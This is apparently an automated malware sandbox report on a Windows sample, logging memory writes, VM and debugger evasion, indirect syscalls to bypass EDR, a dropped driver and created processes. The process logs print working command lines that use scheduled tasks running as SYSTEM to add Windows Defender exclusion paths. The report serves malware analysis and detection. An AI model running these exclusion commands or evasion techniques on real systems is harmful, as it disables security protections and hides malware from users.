Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 720 base: 77382F90 value: E9 7A D0 9D 89

Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CA4183C
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6C9EF34F
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6C96BC04
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CAE82C1
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CA3F839
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CA68647
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CA4C0AF
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CAF6565
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 3B4ED6D
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 3744BC8
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 379E627
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 377336B
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 37D97BB
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 37CA3BD
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 38554DC
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6C9C5143
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CAC9F9E
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CABB056
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C26A03F
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C389F9E
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C283E38
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C2AF34F
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6C99F12B
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CB091B6
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C396E74
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C3B6565
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C2FF839
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C3D8092
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C371EB4
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C2690FC
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C3B2F48
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C1DDE34
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C268B19
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C27F34F
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C2390FC
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C2887AA
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C341EB4
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C382F48
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C22F12B
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C292089
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	API/Special instruction interceptor: Address: 6C1ADE34
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6C9C3E38
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6C9A90FC
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	API/Special instruction interceptor: Address: 6CAF2F48

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	RDTSC instruction interceptor: First address: 140001113 second address: 14000112A instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov ecx, eax 0x0000000c nop 0x0000000d nop 0x0000000e dec eax 0x0000000f xor edx, edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 fldpi 0x00000015 frndint 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	RDTSC instruction interceptor: First address: 14000112A second address: 14000112A instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 xor ebx, ebx 0x00000009 dec eax 0x0000000a mov ebx, edx 0x0000000c dec eax 0x0000000d or eax, ebx 0x0000000f dec eax 0x00000010 sub eax, ecx 0x00000012 nop 0x00000013 dec ebp 0x00000014 xor edx, edx 0x00000016 dec esp 0x00000017 mov edx, eax 0x00000019 dec ebp 0x0000001a cmp edx, eax 0x0000001c jc 00007FF9B8D55D60h 0x0000001e fldpi 0x00000020 frndint 0x00000022 rdtsc
Source: C:\Users\user\Documents\EMp3o1.exe	RDTSC instruction interceptor: First address: 3F1C255 second address: 3F1C263 instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 mov ecx, edx 0x00000005 dec ecx 0x00000006 shl ecx, 20h 0x00000009 dec esp 0x0000000a or ecx, eax 0x0000000c frndint 0x0000000e rdtsc

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Dropped PE file which has not been started: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_42-3236
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_41-3230
Source: C:\Users\user\Documents\EMp3o1.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_5-14029

Source: C:\Users\user\Documents\EMp3o1.exe

API coverage: 2.7 %

Source: C:\Users\user\Documents\EMp3o1.exe TID: 5840	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe TID: 6628	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe TID: 2432	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe TID: 1908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe TID: 2096	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe TID: 3184	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe TID: 5644	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe TID: 2096	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_00007FFDAC08A1B8 FindFirstFileExW,

5_2_00007FFDAC08A1B8

Source: C:\Users\user\Documents\EMp3o1.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: G5CQjd.exe, 00000028.00000003.3779906783.0000000000D58000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Documents\EMp3o1.exe	API call chain: ExitProcess graph end node			graph_5-14030
Source: C:\Users\user\Documents\EMp3o1.exe	API call chain: ExitProcess graph end node			graph_5-14373

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_00000001400073E0 LdrLoadDll,

5_2_00000001400073E0

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

5_2_0000000140007C91

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_000000014000F000

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE00CD mov eax, dword ptr fs:[00000030h]	40_3_04DE00CD
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE00CD mov eax, dword ptr fs:[00000030h]	40_3_04DE00CD
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE0643 mov eax, dword ptr fs:[00000030h]	40_3_04DE0643
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE0643 mov eax, dword ptr fs:[00000030h]	40_3_04DE0643
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE00CD mov eax, dword ptr fs:[00000030h]	40_3_04DE00CD
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE00CD mov eax, dword ptr fs:[00000030h]	40_3_04DE00CD
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE0643 mov eax, dword ptr fs:[00000030h]	40_3_04DE0643
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 40_3_04DE0643 mov eax, dword ptr fs:[00000030h]	40_3_04DE0643

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_0000000140004630 GetProcessHeap,HeapReAlloc,GetProcessHeap,HeapAlloc,

5_2_0000000140004630

Source: C:\Users\user\Documents\EMp3o1.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0000000140007C91
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00000001400106B0 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00000001400106B0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00000001400092E0 SetUnhandledExceptionFilter,	5_2_00000001400092E0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00007FFDAC082630 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFDAC082630
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00007FFDAC0876E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFDAC0876E0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00007FFDAC081F50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFDAC081F50
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 41_2_00712AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	41_2_00712AE2
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 41_2_007110CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	41_2_007110CC
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 41_2_007151FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_007151FB
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Code function: 42_2_001F10CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_001F10CC
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Code function: 42_2_001F2AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_001F2AE2
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Code function: 42_2_001F51FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_001F51FB

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\EMp3o1.exe	NtAllocateVirtualMemory: Indirect: 0x140006FD0	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	NtDelayExecution: Indirect: 0x1F94E4	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	NtProtectVirtualMemory: Indirect: 0x2A4B253	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	NtProtectVirtualMemory: Indirect: 0x2A2B253	Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Program Files (x86)\G5CQjd\G5CQjd.exe "C:\Program Files (x86)\G5CQjd\G5CQjd.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
